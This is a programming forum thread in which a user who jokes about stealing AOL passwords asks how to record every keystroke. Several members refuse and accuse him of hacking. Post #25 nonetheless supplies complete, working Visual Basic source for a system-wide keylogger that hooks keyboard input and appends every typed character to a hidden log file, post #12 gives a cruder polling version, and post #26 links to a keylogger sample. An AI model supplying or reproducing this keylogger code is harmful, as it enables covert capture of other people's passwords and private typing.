Results 1 to 28 of 28

Thread: getting every key pressed

  1. #1

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    I AM NOT MAKING THIS SO THAT I CAN GET MY OTHER AOL ACOUN'Ts PASSWORDS:

    ok, now how do I record every key that is being pressed, and make it so that if I type a password like MUHAHAHAHA it will show me the form and all they key's typed
    NXSupport - Your one-stop source for computer help

  2. #2
    Hyperactive Member
    Join Date
    Mar 2000
    Posts
    461
    If you are not using it for nefarious reasons then what POSSIBLE reason could you have for wanting that?

    Thats like saying "Can people tell me how to make a bomb... but I am not going to make a bomb"

  3. #3
    _______ HeSaidJoe's Avatar
    Join Date
    Jun 1999
    Location
    Canada
    Posts
    3,946

    <?>

    this one has been beaten to death. No one has anything that works as it should..least ways in code..search on keypress and you will find lots and lots of questions but no satisfactory answers. Mater of fact the last one was no more than 2 days ago.
    "A myth is not the succession of individual images,
    but an integerated meaningful entity,
    reflecting a distinct aspect of the real world."

    ___ Adolf Jensen

  4. #4

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    so there is no way?? there has to be becuase I saw source for it a while ago but it was my first week on vb and I coun't use it (I had my pc reformated after that) so I know that there is a way. Also I had another EXE that did that but it was also before I reformated my hard drive.


    and Gen-X what I said was the opposite just remove the NOT from it and thats the reason
    NXSupport - Your one-stop source for computer help

  5. #5
    Hyperactive Member
    Join Date
    Mar 2000
    Posts
    461
    This about the problem logically (I find far too many programs forget their logic).

    - You press a key on the keyboard
    - It goes down the wire and into the computer via the I/O port
    - Some processor grabs the input and triggers its arrival
    - The keycode is passed to the process that handles this
    - This process is your "OPERATING SYSTEM"
    - The operating system then determines WHERE the key is to go

    If you hve an "Active Window" then this active window is sent the keycode... if the active window is the desktop itself then it processes the keycode itself.


    If you want to jump in and capture ALL keypresses before they are delivered to ANY application then you will have to write something that is so deep that it intercepts the calls from the I/O port, does something with them and then forwards them on to the operating system for normal processing.


    Now I don't know about you... but If I were Microsoft I wouldn't want people doing this so I would not only try to stop them, but also not give out any code that would give people the capability.

    So bottom line... VB is NOT capable of "sufficiently" handling all I/O from the keyboard... especially to other applications while hiding in the background like a dirty little hackers program.


    As you cannot provide a reasonable reason to wish such functionality other than that which is obviously vandalism why should anyone provide you with any help?

  6. #6
    _______ HeSaidJoe's Avatar
    Join Date
    Jun 1999
    Location
    Canada
    Posts
    3,946

    <?>

    yes, I have seen code that claim to do it but if you inplement the code you get 4 g's when you press it once and all other sorts of crap. As Gex-X says it can be done but not within the confines of VB and if someone can prove that statement wrong, all the better for you cause to prove it they will have to post the code.

    As the man says...there really is no use for such code.
    Spying is an invasion of privacy!



    "A myth is not the succession of individual images,
    but an integerated meaningful entity,
    reflecting a distinct aspect of the real world."

    ___ Adolf Jensen

  7. #7

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    matt, did you delete the code, or did john or james?
    NXSupport - Your one-stop source for computer help

  8. #8

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    can't you just give me the code? please. its for security purposes only
    NXSupport - Your one-stop source for computer help

  9. #9
    Hyperactive Member
    Join Date
    Mar 2000
    Posts
    461
    If it is for "security purposes only" then explain EXACTLY what those "purposes" are?

    If you CANT explain them then we all know you are trying to break the law and will have to report you to the appropriate authorities

  10. #10
    _______ HeSaidJoe's Avatar
    Join Date
    Jun 1999
    Location
    Canada
    Posts
    3,946

    <?>

    I won't get mad..I don't care who does what..

    as the Guns n Rose's song goes...
    you can have anything you want...
    but you better not take it from me...

    As far as code goes it someone wants something bad enough they will get it.

    Have fun



    "A myth is not the succession of individual images,
    but an integerated meaningful entity,
    reflecting a distinct aspect of the real world."

    ___ Adolf Jensen

  11. #11

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    ok, as you probobly read my post about school computers, I wanna know how that program works so that I can have it on my computer so that I know what happens while i'm gone from it. And its not for aol, and if its on my personal computer with windows and its for my personal use, its 100% legal
    NXSupport - Your one-stop source for computer help

  12. #12
    Guest
    I'm sorry guys, I have to do it .

    Code:
    Private Declare Function GetAsyncKeyState Lib "user32" _
    (ByVal vKey As Long) As Integer
    
    Private Sub Timer1_Timer()    
    Dim iKey As Integer    
    For iKey = 3 To 255       
    If GetAsyncKeyState(iKey) Debug.Print iKey
    Next 
    End Sub
    I take no responsibilty...blah blah blah.

  13. #13

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    that just gives numbers
    NXSupport - Your one-stop source for computer help

  14. #14

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    ok, thanks, I see how it works
    NXSupport - Your one-stop source for computer help

  15. #15
    Hyperactive Member
    Join Date
    Mar 2000
    Posts
    461
    Well if you want to bring your system down efficiency down a couple of notches and waste a lot of time capturing HALF keys then sure, why not.

    You have a timer that is polling continually and going through a loop of checks.

    So its executing nearly 250 API calls every millisecond... Mmmm.. that sounds like a nice thing to do.


    But dimiva... If you SERIOUSLY want to see what people are doing on your computer while you are away, why not just use a timer to POLL every 10 seconds or so and list for you the titles of the currently open windows????

    THis way you will catalog a list of windows, web browser sites (as the title bar of the window is set to the site name) and anything else they choose to open and look at.


    This achieves the "security purpose" you were talking about and doesn't invade the privacy of the users by attempting to capture their passwords.


    The fact you overlooked this only proves you are up to no good

  16. #16

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    I would also like to know what people type and stuff, like word processing
    NXSupport - Your one-stop source for computer help

  17. #17
    _______ HeSaidJoe's Avatar
    Join Date
    Jun 1999
    Location
    Canada
    Posts
    3,946

    <?>

    that's the same code I tested earlier this week..gives you 2 and 3 of every thing pressed. Not a chance of being accurate. Just add a list box and on load the listbox fills without you ever touching a key.
    "A myth is not the succession of individual images,
    but an integerated meaningful entity,
    reflecting a distinct aspect of the real world."

    ___ Adolf Jensen

  18. #18

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    thats OKAY
    NXSupport - Your one-stop source for computer help

  19. #19
    Hyperactive Member
    Join Date
    Mar 2000
    Posts
    461
    If you want to know word processing then use the registry to look at the last used list of files for Word etc

    Your suggestion would be false as I could use the mouse to cut and paste large chunks of text into something and you would never know it happened.

    You are trying to get passwords you dirty little hacker...

    Now stop it!!!

  20. #20
    Guest
    You are trying to get passwords you dirty little hacker...
    Not really a hacker or he wouldn't ask many questions .

    And he acts guilty:

    I AM NOT MAKING THIS SO THAT I CAN GET MY OTHER AOL ACOUN'Ts PASSWORDS:
    Should've just ask, "How do I make a key logger?"
    But you got yourself into this mess dimava.

    People are on Vb-World to help, not hack (or help "hack" in this case).

    Oh yeah, by the way, here's how to get every caption in Windows and add it to a list.

    Code:
    Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpstring As String, ByVal cch As Long) As Long
    
    Function GetCaption(hwnd)
    hwndLength% = GetWindowTextLength(hwnd)
    hwndTitle$ = String$(hwndLength%, 0)
    a% = GetWindowText(hwnd, hwndTitle$, (hwndLength% + 1))
    
    GetCaption = hwndTitle$
    End Function
    
    For i = 1 To 10000
    X = GetCaption(i)
    List1.AddItem X
    Next
    Not that it's very helpful, but for an eRiTe hax0r like you, you might need it .

  21. #21

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    Thanks that will help alot for getting the form to be visble when I start my other program
    NXSupport - Your one-stop source for computer help

  22. #22
    Conquistador
    Join Date
    Dec 1999
    Location
    Australia
    Posts
    4,527
    you can actually hook all the keys being pressed, to check for combinations, for hotkeys, but i will not help you to create a full blown key logger

  23. #23
    Conquistador
    Join Date
    Dec 1999
    Location
    Australia
    Posts
    4,527
    you don't even have an email address, where i can send you some info, to help

    not for hacking

  24. #24
    Conquistador
    Join Date
    Dec 1999
    Location
    Australia
    Posts
    4,527
    and you're web site is screwed up too, so screw you!

  25. #25
    Guru Aaron Young's Avatar
    Join Date
    Jun 1999
    Location
    Red Wing, MN, USA
    Posts
    2,177
    Just in the interest of being able to do it with VB.
    (What other people do with my code is on their concience, I just enjoy the challenge)...

    Only a Module Required, Set Startup Object to "Sub Main()":
    Code:
    Private Type EVENTMSG
            message As Long
            paramL As Long
            paramH As Long
            time As Long
            hwnd As Long
    End Type
    
    Private Type POINTAPI
            x As Long
            y As Long
    End Type
    
    Private Type MSG
        hwnd As Long
        message As Long
        wParam As Long
        lParam As Long
        time As Long
        pt As POINTAPI
    End Type
    
    Private Type CWPSTRUCT
            lParam As Long
            wParam As Long
            message As Long
            hwnd As Long
    End Type
    
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
    Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
    Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
    Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    
    Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    
    Private Const WH_JOURNALRECORD = 0
    Private Const WH_GETMESSAGE = 3
    Private Const WH_CALLWNDPROC = 4
    
    Private Const WM_CANCELJOURNAL = &H4B
    Private Const WM_KEYDOWN = &H100
    Private Const WM_KEYUP = &H101
    
    Private Const VK_CANCEL = &H3
    
    Private lHookID As Long
    Private lAppHookID As Long
    
    Private sFile As String
    
    
    Sub Main()
        'Only start one instance of this app
        If App.PrevInstance Then Exit Sub
        
        'Allow the user to pass a File name/path to the App which will be used to store the keys
        sFile = Command
        If Len(sFile) = 0 Then sFile = "C:\~Keylog.txt"
        If Len(Dir(sFile)) Then Kill$ sFile
        
        'Set an application hook to monitor for messages sent to this app
        lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
        'Set a system hook to monitor certain messages sent to other applications in the o/s.
        lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
        'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
        While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
            DoEvents
        Wend
        'Remove the System hook if necessary
        If lHookID Then Call UnhookWindowsHookEx(lHookID)
        'Remove the application hook
        Call UnhookWindowsHookEx(lAppHookID)
        'Display the results of the log file
        ShellExecute 0, "OPEN", sFile, "", "", 1
    End Sub
    
    Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
        Dim tMSG As MSG
        
        If Code < 0 Then
            'Pass the message along...
            GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
        Else
            'Grab the MSG structure
            CopyMemory tMSG, ByVal lParam, Len(tMSG)
            Select Case tMSG.message
            
            Case WM_CANCELJOURNAL
                'An external process has requested us to stop this operation
                Call UnhookWindowsHookEx(lHookID)
                lHookID = 0
        
            Case WM_KEYDOWN, WM_KEYUP
                If tMSG.wParam = VK_CANCEL Then
                    'The user has canceled the operation (CTRL + BREAK)
                    Call UnhookWindowsHookEx(lHookID)
                    lHookID = 0
                End If
    
            End Select
        End If
    End Function
    
    Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
        Dim tEVENTMSG As EVENTMSG
        Dim bKeys(255) As Byte
        Dim lAscII As Long
        Dim iFile As Integer
        
        If Code < 0 Then
            'Pass this message along...
            JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
        Else
            'Grab the Event Message Structure
            CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
            
            Select Case tEVENTMSG.message
            
            Case WM_KEYDOWN
                'Track Keypresses....
                'Get the current state of the Keyboard (used to determine special keys)
                Call GetKeyboardState(bKeys(0))
                'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
                Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
                'If it's avalid ASCII value, Log it.
                If lAscII Then
                    Debug.Print Chr(lAscII);
                    iFile = FreeFile
                    Open sFile For Append As iFile
                    Print #iFile, Chr(lAscII);
                    Close iFile
                End If
            
            End Select
        End If
    End Function

  26. #26
    Fanatic Member
    Join Date
    Apr 2000
    Location
    Whats a location?
    Posts
    516
    Damn. I was about to post that.

    Anyway, here's a link to where you can get a saple app of how this works (and you can get other samples):

    http://www.freevbcode.com/ShowCode.Asp?ID=1610

    And yes, it is a keylogger.

    concience
    conscience

    And I don't even have a conscience.
    Courgettes.

  27. #27

    Thread Starter
    Frenzied Member
    Join Date
    Jun 2000
    Location
    East Providence, RI
    Posts
    1,715
    DAVID:

    my email is [email protected]


    _____________________________________

    Aaron Young thanks for the code

    and (V)ery Basic, thanks for the link
    NXSupport - Your one-stop source for computer help

  28. #28
    Hyperactive Member Steve Stunning's Avatar
    Join Date
    Jul 1999
    Location
    Fairfax, Virginia
    Posts
    314

    Cool



    Aaron,

    That code works nice. Not that I will ever use it but... you never know when it will come in handy.
    Steve Stunning

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width